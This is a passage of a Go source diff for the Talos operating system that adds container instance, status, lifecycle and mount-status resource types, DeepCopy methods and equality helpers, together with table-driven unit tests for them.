package containers @@ -67,3 +67,75 @@ func (o ContainerImageStatusSpec) DeepCopy() ContainerImageStatusSpec { var cp ContainerImageStatusSpec = o return cp } + +// DeepCopy generates a deep copy of ContainerMountStatusSpec. +func (o ContainerMountStatusSpec) DeepCopy() ContainerMountStatusSpec { + var cp ContainerMountStatusSpec = o + if o.Mounts != nil { + cp.Mounts = make([]ResolvedMountSpec, len(o.Mounts)) + copy(cp.Mounts, o.Mounts) + for i2 := range o.Mounts { + if o.Mounts[i2].Options != nil { + cp.Mounts[i2].Options = make([]string, len(o.Mounts[i2].Options)) + copy(cp.Mounts[i2].Options, o.Mounts[i2].Options) + } + } + } + return cp +} + +// DeepCopy generates a deep copy of ContainerInstanceSpecSpec. +func (o ContainerInstanceSpecSpec) DeepCopy() ContainerInstanceSpecSpec { + var cp ContainerInstanceSpecSpec = o + if o.Entrypoint != nil { + cp.Entrypoint = make([]string, len(o.Entrypoint)) + copy(cp.Entrypoint, o.Entrypoint) + } + if o.Args != nil { + cp.Args = make([]string, len(o.Args)) + copy(cp.Args, o.Args) + } + if o.RunAs.UID != nil { + cp.RunAs.UID = new(int32) + *cp.RunAs.UID = *o.RunAs.UID + } + if o.RunAs.GID != nil { + cp.RunAs.GID = new(int32) + *cp.RunAs.GID = *o.RunAs.GID + } + if o.Environment != nil { + cp.Environment = make([]string, len(o.Environment)) + copy(cp.Environment, o.Environment) + } + if o.Mounts != nil { + cp.Mounts = make([]ResolvedMountSpec, len(o.Mounts)) + copy(cp.Mounts, o.Mounts) + for i2 := range o.Mounts { + if o.Mounts[i2].Options != nil { + cp.Mounts[i2].Options = make([]string, len(o.Mounts[i2].Options)) + copy(cp.Mounts[i2].Options, o.Mounts[i2].Options) + } + } + } + if o.Security.CapabilitiesAdd != nil { + cp.Security.CapabilitiesAdd = make([]string, len(o.Security.CapabilitiesAdd)) + copy(cp.Security.CapabilitiesAdd, o.Security.CapabilitiesAdd) + } + if o.Security.CapabilitiesDrop != nil { + cp.Security.CapabilitiesDrop = make([]string, len(o.Security.CapabilitiesDrop)) + copy(cp.Security.CapabilitiesDrop, o.Security.CapabilitiesDrop) + } + return cp +} + +// DeepCopy generates a deep copy of ContainerInstanceStatusSpec. +func (o ContainerInstanceStatusSpec) DeepCopy() ContainerInstanceStatusSpec { + var cp ContainerInstanceStatusSpec = o + return cp +} + +// DeepCopy generates a deep copy of ContainerLifecycleSpec. +func (o ContainerLifecycleSpec) DeepCopy() ContainerLifecycleSpec { + var cp ContainerLifecycleSpec = o + return cp +} diff --git a/pkg/machinery/resources/containers/enums.go b/pkg/machinery/resources/containers/enums.go index 9fe1baed582..bfd89dba1dc 100644 --- a/pkg/machinery/resources/containers/enums.go +++ b/pkg/machinery/resources/containers/enums.go @@ -16,3 +16,21 @@ const ( ContainerImagePhaseReady // ready ContainerImagePhaseFailed // failed ) + +// ContainerInstancePhase describes the state of a container instance's execution. +type ContainerInstancePhase int + +// Container instance phases. +// +//structprotogen:gen_enum +const ( + ContainerInstancePhaseCreated ContainerInstancePhase = iota // created + ContainerInstancePhaseRunning // running + ContainerInstancePhaseTerminated // terminated + ContainerInstancePhaseFailed // failed +) + +// Done reports whether the instance has finished executing, successfully or not. +func (phase ContainerInstancePhase) Done() bool { + return phase == ContainerInstancePhaseTerminated || phase == ContainerInstancePhaseFailed +} diff --git a/pkg/machinery/resources/containers/instance.go b/pkg/machinery/resources/containers/instance.go new file mode 100644 index 00000000000..bb23b93342a --- /dev/null +++ b/pkg/machinery/resources/containers/instance.go @@ -0,0 +1,284 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers + +import ( + "context" + "fmt" + "slices" + "time" + + "github.com/cosi-project/runtime/pkg/controller" + "github.com/cosi-project/runtime/pkg/resource" + "github.com/cosi-project/runtime/pkg/resource/meta" + "github.com/cosi-project/runtime/pkg/resource/protobuf" + "github.com/cosi-project/runtime/pkg/resource/typed" + "github.com/cosi-project/runtime/pkg/safe" + "github.com/cosi-project/runtime/pkg/state" + + "github.com/siderolabs/talos/pkg/machinery/proto" +) + +// InstanceID builds the ID of a ContainerInstanceSpec from a container name and generation. +// +// Generations are numbered rather than reusing the container name so that each execution attempt has +// an identity of its own: a status then refers unambiguously to one attempt, and the instance created +// to replace another cannot be confused with it, nor collide with a destruction still in flight. +func InstanceID(container string, generation uint64) resource.ID { + return fmt.Sprintf("%s-%d", container, generation) +} + +// ContainerInstanceSpecType is type of ContainerInstanceSpec resource. +const ContainerInstanceSpecType = resource.Type("ContainerInstanceSpecs.containers.talos.dev") + +// ContainerInstanceSpec resource represents a single execution attempt of a container. +// +// Its existence is the instruction to run; its destruction is the instruction to stop. Restart is +// therefore a resource event rather than a loop inside a goroutine: the previous instance +// terminates, and the next generation replaces it. +// +// The ID is -; see InstanceID. +type ContainerInstanceSpec = typed.Resource[ContainerInstanceSpecSpec, ContainerInstanceSpecExtension] + +// ContainerInstanceSpecSpec is the spec for ContainerInstanceSpec. +// +// It carries a resolved snapshot of everything needed to run one execution, so whatever runs it +// never has to re-read the container spec or image status. That keeps the execution independent of +// later changes to those inputs: a spec change destroys this instance rather than mutating it. +// +//gotagsrewrite:gen +type ContainerInstanceSpecSpec struct { + // ContainerID is the name of the owning container, i.e. the ContainerSpec ID. + ContainerID string `yaml:"containerID" protobuf:"1"` + // Generation is this instance's sequence number for that container. + Generation uint64 `yaml:"generation" protobuf:"2"` + + // Image is the digest-resolved reference to run. + Image string `yaml:"image" protobuf:"3"` + + Entrypoint []string `yaml:"entrypoint,omitempty" protobuf:"4"` + Args []string `yaml:"args,omitempty" protobuf:"5"` + WorkingDir string `yaml:"workingDir,omitempty" protobuf:"6"` + RunAs ContainerRunAsSpec `yaml:"runAs,omitempty" protobuf:"7"` + Environment []string `yaml:"environment,omitempty" protobuf:"8"` + + // Mounts are fully resolved, with host source paths filled in. + Mounts []ResolvedMountSpec `yaml:"mounts,omitempty" protobuf:"9"` + + Security ContainerSecuritySpec `yaml:"security,omitempty" protobuf:"10"` + Network ContainerNetworkSpec `yaml:"network,omitempty" protobuf:"11"` + Resources ContainerResourcesSpec `yaml:"resources,omitempty" protobuf:"12"` +} + +// ResolvedMountSpec is a mount with its host-side source resolved. +// +//gotagsrewrite:gen +type ResolvedMountSpec struct { + Kind string `yaml:"kind" protobuf:"1"` + // Source is the host path to bind from; empty for tmpfs and userVolume. + Source string `yaml:"source,omitempty" protobuf:"2"` + Destination string `yaml:"destination" protobuf:"3"` + Size uint64 `yaml:"size,omitempty" protobuf:"4"` + Options []string `yaml:"options,omitempty" protobuf:"5"` + // VolumeID is the resolved userVolume's ID; empty for tmpfs and hostPath. + VolumeID string `yaml:"volumeID,omitempty" protobuf:"6"` +} + +// NewContainerInstanceSpec initializes a ContainerInstanceSpec resource. +func NewContainerInstanceSpec(namespace resource.Namespace, id resource.ID) *ContainerInstanceSpec { + return typed.NewResource[ContainerInstanceSpecSpec, ContainerInstanceSpecExtension]( + resource.NewMetadata(namespace, ContainerInstanceSpecType, id, resource.VersionUndefined), + ContainerInstanceSpecSpec{}, + ) +} + +// ContainerInstanceSpecExtension is auxiliary resource data for ContainerInstanceSpec. +type ContainerInstanceSpecExtension struct{} + +// ResourceDefinition implements meta.ResourceDefinitionProvider interface. +func (ContainerInstanceSpecExtension) ResourceDefinition() meta.ResourceDefinitionSpec { + return meta.ResourceDefinitionSpec{ + Type: ContainerInstanceSpecType, + Aliases: []resource.Type{"containerinstancespec", "containerinstancespecs"}, + DefaultNamespace: NamespaceName, + PrintColumns: []meta.PrintColumn{ + { + Name: "Container", + JSONPath: `{.containerID}`, + }, + { + Name: "Generation", + JSONPath: `{.generation}`, + }, + { + Name: "Image", + JSONPath: `{.image}`, + }, + }, + } +} + +func init() { + proto.RegisterDefaultTypes() + + if err := protobuf.RegisterDynamic(ContainerInstanceSpecType, &ContainerInstanceSpec{}); err != nil { + panic(err) + } +} + +// ContainerInstanceStatusType is type of ContainerInstanceStatus resource. +const ContainerInstanceStatusType = resource.Type("ContainerInstanceStatuses.containers.talos.dev") + +// ContainerInstanceStatus resource reports the execution state of a ContainerInstanceSpec. +// +// It is produced by RuntimeController, the only component that actually runs the instance's task. +// The ID matches the ContainerInstanceSpec it reports on. +type ContainerInstanceStatus = typed.Resource[ContainerInstanceStatusSpec, ContainerInstanceStatusExtension] + +// ContainerInstanceStatusSpec is the spec for ContainerInstanceStatus. +// +//gotagsrewrite:gen +type ContainerInstanceStatusSpec struct { + // ContainerID is the name of the owning container, i.e. the ContainerSpec ID. + ContainerID string `yaml:"containerID" protobuf:"1"` + // Generation is the reported instance's sequence number for that container. + Generation uint64 `yaml:"generation" protobuf:"2"` + // Phase is the current execution phase. + Phase ContainerInstancePhase `yaml:"phase" protobuf:"3"` + // PID is the task's process ID while running. + PID uint32 `yaml:"pid,omitempty" protobuf:"4"` + // ExitCode is the task's exit code, meaningful only once Phase is ContainerInstancePhaseTerminated. + ExitCode int32 `yaml:"exitCode,omitempty" protobuf:"5"` + // Error describes why the task never started or exited abnormally. + Error string `yaml:"error,omitempty" protobuf:"6"` + // StartedAt is when the task's process started. + StartedAt time.Time `yaml:"startedAt,omitempty" protobuf:"7"` + // FinishedAt is when the task stopped running. + FinishedAt time.Time `yaml:"finishedAt,omitempty" protobuf:"8"` +} + +// NewContainerInstanceStatus initializes a ContainerInstanceStatus resource. +func NewContainerInstanceStatus(namespace resource.Namespace, id resource.ID) *ContainerInstanceStatus { + return typed.NewResource[ContainerInstanceStatusSpec, ContainerInstanceStatusExtension]( + resource.NewMetadata(namespace, ContainerInstanceStatusType, id, resource.VersionUndefined), + ContainerInstanceStatusSpec{}, + ) +} + +// ContainerInstanceStatusExtension is auxiliary resource data for ContainerInstanceStatus. +type ContainerInstanceStatusExtension struct{} + +// ResourceDefinition implements meta.ResourceDefinitionProvider interface. +func (ContainerInstanceStatusExtension) ResourceDefinition() meta.ResourceDefinitionSpec { + return meta.ResourceDefinitionSpec{ + Type: ContainerInstanceStatusType, + Aliases: []resource.Type{"containerinstancestatus", "containerinstancestatuses"}, + DefaultNamespace: NamespaceName, + PrintColumns: []meta.PrintColumn{ + { + Name: "Container", + JSONPath: `{.containerID}`, + }, + { + Name: "Phase", + JSONPath: `{.phase}`, + }, + { + Name: "PID", + JSONPath: `{.pid}`, + }, + { + Name: "Exit Code", + JSONPath: `{.exitCode}`, + }, + }, + } +} + +func init() { + proto.RegisterDefaultTypes() + + if err := protobuf.RegisterDynamic(ContainerInstanceStatusType, &ContainerInstanceStatus{}); err != nil { + panic(err) + } +} + +// InSyncWithContainerSpec reports whether the instance still matches the given container spec. +// +// The instance carries a resolved snapshot precisely so this comparison is possible: a running +// container is never mutated in place, it is replaced. +func (instanceSpec ContainerInstanceSpecSpec) InSyncWithContainerSpec(ctx context.Context, r controller.Reader, containerSpec *ContainerSpecSpec) (bool, error) { + imageDigest, err := GetImageDigest(ctx, r, instanceSpec.ContainerID, containerSpec.Image.Ref) + if err != nil { + return false, err + } + + if imageDigest != "" && imageDigest != instanceSpec.Image { + return false, nil + } + + expectedResolvedMounts, err := containerSpec.GetResolvedMounts(ctx, r, instanceSpec.ContainerID) + if err != nil { + return false, err + } + + if !MountsResolvedMatchDeclared(expectedResolvedMounts, containerSpec.Mounts) { + // Nothing to compare against, and a mount that has gone away is not drift to be fixed by + // replacing the instance: it is handled by the container being stopped. + return false, nil + } + + inSync := containerSpec.InstanceProcessEqual(instanceSpec) && + ResolvedMountsEqual(expectedResolvedMounts, instanceSpec.Mounts) && + containerSpec.Security.Equal(instanceSpec.Security) && + containerSpec.Network == instanceSpec.Network && + containerSpec.Resources == instanceSpec.Resources + + return inSync, nil +} + +// GetImageDigest returns the digest an instance of this container should run, or an empty string if +// imageRef has not been resolved to one. +// +// The status is only believed when it describes imageRef itself: an edited reference leaves the +// previous reference's status in place until ImageController re-pulls, and running those bytes under +// the new configuration would be running an image nobody asked for. +func GetImageDigest(ctx context.Context, r controller.Reader, containerID, imageRef string) (string, error) { + imageStatus, err := safe.ReaderGetByID[*ContainerImageStatus](ctx, r, containerID) + if err != nil { + if state.IsNotFoundError(err) { + return "", nil + } + + return "", fmt.Errorf("failed to get image status %q: %w", containerID, err) + } + + if imageStatus.TypedSpec().Phase != ContainerImagePhaseReady || imageStatus.TypedSpec().Image != imageRef { + return "", nil + } + + return imageStatus.TypedSpec().Digest, nil +} + +// Int32PtrEqual compares two int32 pointers, treating nil as equal only to nil. +func Int32PtrEqual(a, b *int32) bool { + if a == nil || b == nil { + return a == b + } + + return *a == *b +} + +// ResolvedMountsEqual compares two resolved mount lists field by field, as they carry slices. +func ResolvedMountsEqual(a, b []ResolvedMountSpec) bool { + return slices.EqualFunc(a, b, func(x, y ResolvedMountSpec) bool { + return x.Kind == y.Kind && + x.Source == y.Source && + x.Destination == y.Destination && + x.Size == y.Size && + x.VolumeID == y.VolumeID && + slices.Equal(x.Options, y.Options) + }) +} diff --git a/pkg/machinery/resources/containers/instance_test.go b/pkg/machinery/resources/containers/instance_test.go new file mode 100644 index 00000000000..38bdd62f1db --- /dev/null +++ b/pkg/machinery/resources/containers/instance_test.go @@ -0,0 +1,525 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers_test + +import ( + "testing" + + "github.com/stretchr/testify/assert" + + "github.com/siderolabs/talos/pkg/machinery/resources/containers" +) + +func TestProcessEqual(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + containerSpec *containers.ContainerSpecSpec + instanceSpec *containers.ContainerInstanceSpecSpec + want bool + }{ + { + name: "equal", + containerSpec: &containers.ContainerSpecSpec{ + Entrypoint: []string{"/bin/sh"}, + Args: []string{"arg1"}, + WorkingDir: "/work", + Environment: []string{"KEY=VAL"}, + }, + instanceSpec: &containers.ContainerInstanceSpecSpec{ + Entrypoint: []string{"/bin/sh"}, + Args: []string{"arg1"}, + WorkingDir: "/work", + Environment: []string{"KEY=VAL"}, + }, + want: true, + }, + { + name: "entrypoint differs", + containerSpec: &containers.ContainerSpecSpec{ + Entrypoint: []string{"/bin/sh"}, + Args: []string{"arg1"}, + WorkingDir: "/work", + Environment: []string{"KEY=VAL"}, + }, + instanceSpec: &containers.ContainerInstanceSpecSpec{ + Entrypoint: []string{"/bin/bash"}, + Args: []string{"arg1"}, + WorkingDir: "/work", + Environment: []string{"KEY=VAL"}, + }, + want: false, + }, + { + name: "args differs", + containerSpec: &containers.ContainerSpecSpec{ + Entrypoint: []string{"/bin/sh"}, + Args: []string{"arg1"}, + WorkingDir: "/work", + Environment: []string{"KEY=VAL"}, + }, + instanceSpec: &containers.ContainerInstanceSpecSpec{ + Entrypoint: []string{"/bin/sh"}, + Args: []string{"arg2"}, + WorkingDir: "/work", + Environment: []string{"KEY=VAL"}, + }, + want: false, + }, + { + name: "workingDir differs", + containerSpec: &containers.ContainerSpecSpec{ + Entrypoint: []string{"/bin/sh"}, + Args: []string{"arg1"}, + WorkingDir: "/work", + Environment: []string{"KEY=VAL"}, + }, + instanceSpec: &containers.ContainerInstanceSpecSpec{ + Entrypoint: []string{"/bin/sh"}, + Args: []string{"arg1"}, + WorkingDir: "/other", + Environment: []string{"KEY=VAL"}, + }, + want: false, + }, + { + name: "environment differs", + containerSpec: &containers.ContainerSpecSpec{ + Entrypoint: []string{"/bin/sh"}, + Args: []string{"arg1"}, + WorkingDir: "/work", + Environment: []string{"KEY=VAL"}, + }, + instanceSpec: &containers.ContainerInstanceSpecSpec{ + Entrypoint: []string{"/bin/sh"}, + Args: []string{"arg1"}, + WorkingDir: "/work", + Environment: []string{"KEY=OTHER"}, + }, + want: false, + }, + { + name: "nil and empty slices are equal", + containerSpec: &containers.ContainerSpecSpec{ + Entrypoint: nil, + Args: nil, + WorkingDir: "/work", + Environment: nil, + }, + instanceSpec: &containers.ContainerInstanceSpecSpec{ + Entrypoint: []string{}, + Args: []string{}, + WorkingDir: "/work", + Environment: []string{}, + }, + want: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + got := tt.containerSpec.InstanceProcessEqual(*tt.instanceSpec) + assert.Equal(t, tt.want, got) + }) + } +} + +func TestSecurityEqual(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + securitySpecA containers.ContainerSecuritySpec + securitySpecB containers.ContainerSecuritySpec + want bool + }{ + { + name: "equal", + securitySpecA: containers.ContainerSecuritySpec{ + Privileged: true, + CapabilitiesAdd: []string{"NET_ADMIN"}, + CapabilitiesDrop: []string{"ALL"}, + }, + securitySpecB: containers.ContainerSecuritySpec{ + Privileged: true, + CapabilitiesAdd: []string{"NET_ADMIN"}, + CapabilitiesDrop: []string{"ALL"}, + }, + want: true, + }, + { + name: "privileged differs", + securitySpecA: containers.ContainerSecuritySpec{ + Privileged: true, + }, + securitySpecB: containers.ContainerSecuritySpec{ + Privileged: false, + }, + want: false, + }, + { + name: "capabilitiesAdd differs", + securitySpecA: containers.ContainerSecuritySpec{ + CapabilitiesAdd: []string{"NET_ADMIN"}, + }, + securitySpecB: containers.ContainerSecuritySpec{ + CapabilitiesAdd: []string{"SYS_ADMIN"}, + }, + want: false, + }, + { + name: "capabilitiesDrop differs", + securitySpecA: containers.ContainerSecuritySpec{ + CapabilitiesDrop: []string{"ALL"}, + }, + securitySpecB: containers.ContainerSecuritySpec{ + CapabilitiesDrop: []string{"NET_RAW"}, + }, + want: false, + }, + { + name: "nil and empty slices are equal", + securitySpecA: containers.ContainerSecuritySpec{ + CapabilitiesAdd: nil, + CapabilitiesDrop: nil, + }, + securitySpecB: containers.ContainerSecuritySpec{ + CapabilitiesAdd: []string{}, + CapabilitiesDrop: []string{}, + }, + want: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + got := tt.securitySpecA.Equal(tt.securitySpecB) + assert.Equal(t, tt.want, got) + }) + } +} + +func TestRunAsEqual(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + runAsSpecA containers.ContainerRunAsSpec + runAsSpecB containers.ContainerRunAsSpec + want bool + }{ + { + name: "both nil UID and GID", + runAsSpecA: containers.ContainerRunAsSpec{UID: nil, GID: nil}, + runAsSpecB: containers.ContainerRunAsSpec{UID: nil, GID: nil}, + want: true, + }, + { + name: "both UID set equal", + runAsSpecA: containers.ContainerRunAsSpec{UID: new(int32(1000))}, + runAsSpecB: containers.ContainerRunAsSpec{UID: new(int32(1000))}, + want: true, + }, + { + name: "both UID set different", + runAsSpecA: containers.ContainerRunAsSpec{UID: new(int32(1000))}, + runAsSpecB: containers.ContainerRunAsSpec{UID: new(int32(2000))}, + want: false, + }, + { + name: "UID nil vs set", + runAsSpecA: containers.ContainerRunAsSpec{UID: nil}, + runAsSpecB: containers.ContainerRunAsSpec{UID: new(int32(1000))}, + want: false, + }, + { + name: "both GID set equal", + runAsSpecA: containers.ContainerRunAsSpec{GID: new(int32(1000))}, + runAsSpecB: containers.ContainerRunAsSpec{GID: new(int32(1000))}, + want: true, + }, + { + name: "both GID set different", + runAsSpecA: containers.ContainerRunAsSpec{GID: new(int32(1000))}, + runAsSpecB: containers.ContainerRunAsSpec{GID: new(int32(2000))}, + want: false, + }, + { + name: "GID nil vs set", + runAsSpecA: containers.ContainerRunAsSpec{GID: nil}, + runAsSpecB: containers.ContainerRunAsSpec{GID: new(int32(1000))}, + want: false, + }, + { + name: "UID and GID both set equal", + runAsSpecA: containers.ContainerRunAsSpec{UID: new(int32(1000)), GID: new(int32(1001))}, + runAsSpecB: containers.ContainerRunAsSpec{UID: new(int32(1000)), GID: new(int32(1001))}, + want: true, + }, + { + name: "UID equal but GID differs", + runAsSpecA: containers.ContainerRunAsSpec{UID: new(int32(1000)), GID: new(int32(1001))}, + runAsSpecB: containers.ContainerRunAsSpec{UID: new(int32(1000)), GID: new(int32(2001))}, + want: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + got := tt.runAsSpecA.Equal(tt.runAsSpecB) + assert.Equal(t, tt.want, got) + }) + } +} + +func TestInt32PtrEqual(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + int32A *int32 + int32B *int32 + want bool + }{ + { + name: "both nil", + int32A: nil, + int32B: nil, + want: true, + }, + { + name: "a nil b set", + int32A: nil, + int32B: new(int32(42)), + want: false, + }, + { + name: "a set b nil", + int32A: new(int32(42)), + int32B: nil, + want: false, + }, + { + name: "both set equal", + int32A: new(int32(42)), + int32B: new(int32(42)), + want: true, + }, + { + name: "both set different", + int32A: new(int32(42)), + int32B: new(int32(99)), + want: false, + }, + { + name: "zero values equal", + int32A: new(int32(0)), + int32B: new(int32(0)), + want: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + got := containers.Int32PtrEqual(tt.int32A, tt.int32B) + assert.Equal(t, tt.want, got) + }) + } +} + +func TestResolvedMountsEqual(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + resolvedMountSpecA []containers.ResolvedMountSpec + resolvedMountSpecB []containers.ResolvedMountSpec + want bool + }{ + { + name: "both nil", + resolvedMountSpecA: nil, + resolvedMountSpecB: nil, + want: true, + }, + { + name: "nil and empty are equal", + resolvedMountSpecA: nil, + resolvedMountSpecB: []containers.ResolvedMountSpec{}, + want: true, + }, + { + name: "both empty", + resolvedMountSpecA: []containers.ResolvedMountSpec{}, + resolvedMountSpecB: []containers.ResolvedMountSpec{}, + want: true, + }, + { + name: "equal single mount", + resolvedMountSpecA: []containers.ResolvedMountSpec{ + { + Kind: "hostPath", + Source: "/dev", + Destination: "/host/dev", + Size: 0, + Options: []string{"ro"}, + }, + }, + resolvedMountSpecB: []containers.ResolvedMountSpec{ + { + Kind: "hostPath", + Source: "/dev", + Destination: "/host/dev", + Size: 0, + Options: []string{"ro"}, + }, + }, + want: true, + }, + { + name: "different Kind", + resolvedMountSpecA: []containers.ResolvedMountSpec{ + {Kind: "hostPath"}, + }, + resolvedMountSpecB: []containers.ResolvedMountSpec{ + {Kind: "tmpfs"}, + }, + want: false, + }, + { + name: "different Source", + resolvedMountSpecA: []containers.ResolvedMountSpec{ + {Source: "/dev"}, + }, + resolvedMountSpecB: []containers.ResolvedMountSpec{ + {Source: "/sys"}, + }, + want: false, + }, + { + name: "different Destination", + resolvedMountSpecA: []containers.ResolvedMountSpec{ + {Destination: "/host/dev"}, + }, + resolvedMountSpecB: []containers.ResolvedMountSpec{ + {Destination: "/dev"}, + }, + want: false, + }, + { + name: "different Size", + resolvedMountSpecA: []containers.ResolvedMountSpec{ + {Size: 64 << 20}, + }, + resolvedMountSpecB: []containers.ResolvedMountSpec{ + {Size: 128 << 20}, + }, + want: false, + }, + { + name: "different Options", + resolvedMountSpecA: []containers.ResolvedMountSpec{ + {Options: []string{"ro"}}, + }, + resolvedMountSpecB: []containers.ResolvedMountSpec{ + {Options: []string{"rw"}}, + }, + want: false, + }, + { + name: "different VolumeID", + resolvedMountSpecA: []containers.ResolvedMountSpec{ + {VolumeID: "u-web-content"}, + }, + resolvedMountSpecB: []containers.ResolvedMountSpec{ + {VolumeID: "u-other-volume"}, + }, + want: false, + }, + { + name: "nil and empty Options are equal", + resolvedMountSpecA: []containers.ResolvedMountSpec{ + {Options: nil}, + }, + resolvedMountSpecB: []containers.ResolvedMountSpec{ + {Options: []string{}}, + }, + want: true, + }, + { + name: "equal multiple mounts", + resolvedMountSpecA: []containers.ResolvedMountSpec{ + { + Kind: "hostPath", + Source: "/dev", + Destination: "/host/dev", + Options: []string{"ro"}, + }, + { + Kind: "tmpfs", + Destination: "/tmp", + Size: 64 << 20, + Options: []string{"nosuid"}, + }, + }, + resolvedMountSpecB: []containers.ResolvedMountSpec{ + { + Kind: "hostPath", + Source: "/dev", + Destination: "/host/dev", + Options: []string{"ro"}, + }, + { + Kind: "tmpfs", + Destination: "/tmp", + Size: 64 << 20, + Options: []string{"nosuid"}, + }, + }, + want: true, + }, + { + name: "same mounts different order are not equal (order-sensitive)", + resolvedMountSpecA: []containers.ResolvedMountSpec{ + {Kind: "hostPath", Destination: "/dev"}, + {Kind: "tmpfs", Destination: "/tmp"}, + }, + resolvedMountSpecB: []containers.ResolvedMountSpec{ + {Kind: "tmpfs", Destination: "/tmp"}, + {Kind: "hostPath", Destination: "/dev"}, + }, + want: false, + }, + { + name: "different length", + resolvedMountSpecA: []containers.ResolvedMountSpec{ + {Kind: "hostPath"}, + }, + resolvedMountSpecB: []containers.ResolvedMountSpec{ + {Kind: "hostPath"}, + {Kind: "tmpfs"}, + }, + want: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + got := containers.ResolvedMountsEqual(tt.resolvedMountSpecA, tt.resolvedMountSpecB) + assert.Equal(t, tt.want, got) + }) + } +} diff --git a/pkg/machinery/resources/containers/lifecycle.go b/pkg/machinery/resources/containers/lifecycle.go new file mode 100644 index 00000000000..5d27931765f --- /dev/null +++ b/pkg/machinery/resources/containers/lifecycle.go @@ -0,0 +1,57 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers + +import ( + "github.com/cosi-project/runtime/pkg/resource" + "github.com/cosi-project/runtime/pkg/resource/meta" + "github.com/cosi-project/runtime/pkg/resource/protobuf" + "github.com/cosi-project/runtime/pkg/resource/typed" + + "github.com/siderolabs/talos/pkg/machinery/proto" +) + +// ContainerLifecycleType is type of ContainerLifecycle resource. +const ContainerLifecycleType = resource.Type("ContainerLifecycles.containers.talos.dev") + +// ContainerLifecycleID is the singleton ID of the resource. +const ContainerLifecycleID = resource.ID("containers") + +// ContainerLifecycle resource exists so that containers can be stopped gracefully on the way down. +type ContainerLifecycle = typed.Resource[ContainerLifecycleSpec, ContainerLifecycleExtension] + +// ContainerLifecycleSpec is the spec for ContainerLifecycle. +// +//gotagsrewrite:gen +type ContainerLifecycleSpec struct{} + +// NewContainerLifecycle initializes a ContainerLifecycle resource. +func NewContainerLifecycle(namespace resource.Namespace, id resource.ID) *ContainerLifecycle { + return typed.NewResource[ContainerLifecycleSpec, ContainerLifecycleExtension]( + resource.NewMetadata(namespace, ContainerLifecycleType, id, resource.VersionUndefined), + ContainerLifecycleSpec{}, + ) +} + +// ContainerLifecycleExtension is auxiliary resource data for ContainerLifecycle. +type ContainerLifecycleExtension struct{} + +// ResourceDefinition implements meta.ResourceDefinitionProvider interface. +func (ContainerLifecycleExtension) ResourceDefinition() meta.ResourceDefinitionSpec { + return meta.ResourceDefinitionSpec{ + Type: ContainerLifecycleType, + Aliases: []resource.Type{"containerlifecycle", "containerlifecycles"}, + DefaultNamespace: NamespaceName, + PrintColumns: []meta.PrintColumn{}, + } +} + +func init() { + proto.RegisterDefaultTypes() + + if err := protobuf.RegisterDynamic(ContainerLifecycleType, &ContainerLifecycle{}); err != nil { + panic(err) + } +} diff --git a/pkg/machinery/resources/containers/mount_status.go b/pkg/machinery/resources/containers/mount_status.go new file mode 100644 index 00000000000..1360d70b169 --- /dev/null +++ b/pkg/machinery/resources/containers/mount_status.go @@ -0,0 +1,73 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers + +import ( + "github.com/cosi-project/runtime/pkg/resource" + "github.com/cosi-project/runtime/pkg/resource/meta" + "github.com/cosi-project/runtime/pkg/resource/protobuf" + "github.com/cosi-project/runtime/pkg/resource/typed" + + "github.com/siderolabs/talos/pkg/machinery/proto" +) + +// ContainerMountStatusType is type of ContainerMountStatus resource. +const ContainerMountStatusType = resource.Type("ContainerMountStatuses.containers.talos.dev") + +// ContainerMountStatus resource holds a container's mounts with their host paths resolved. +// +// The ID is the container name. +type ContainerMountStatus = typed.Resource[ContainerMountStatusSpec, ContainerMountStatusExtension] + +// ContainerMountStatusSpec is the spec for ContainerMountStatus. +// +//gotagsrewrite:gen +type ContainerMountStatusSpec struct { + // Ready is true once every mount the container declares is available. + Ready bool `yaml:"ready" protobuf:"1"` + // Mounts are the resolved mounts, with host source paths filled in. Only meaningful when Ready. + Mounts []ResolvedMountSpec `yaml:"mounts,omitempty" protobuf:"2"` + // Error describes why the mounts are not ready. + Error string `yaml:"error,omitempty" protobuf:"3"` +} + +// NewContainerMountStatus initializes a ContainerMountStatus resource. +func NewContainerMountStatus(namespace resource.Namespace, id resource.ID) *ContainerMountStatus { + return typed.NewResource[ContainerMountStatusSpec, ContainerMountStatusExtension]( + resource.NewMetadata(namespace, ContainerMountStatusType, id, resource.VersionUndefined), + ContainerMountStatusSpec{}, + ) +} + +// ContainerMountStatusExtension is auxiliary resource data for ContainerMountStatus. +type ContainerMountStatusExtension struct{} + +// ResourceDefinition implements meta.ResourceDefinitionProvider interface. +func (ContainerMountStatusExtension) ResourceDefinition() meta.ResourceDefinitionSpec { + return meta.ResourceDefinitionSpec{ + Type: ContainerMountStatusType, + Aliases: []resource.Type{"containermountstatus", "containermountstatuses"}, + DefaultNamespace: NamespaceName, + PrintColumns: []meta.PrintColumn{ + { + Name: "Ready", + JSONPath: `{.ready}`, + }, + { + Name: "Error", + JSONPath: `{.error}`, + }, + }, + } +} + +func init() { + proto.RegisterDefaultTypes() + + err := protobuf.RegisterDynamic(ContainerMountStatusType, &ContainerMountStatus{}) + if err != nil { + panic(err) + } +} diff --git a/pkg/machinery/resources/containers/mount_status_test.go b/pkg/machinery/resources/containers/mount_status_test.go new file mode 100644 index 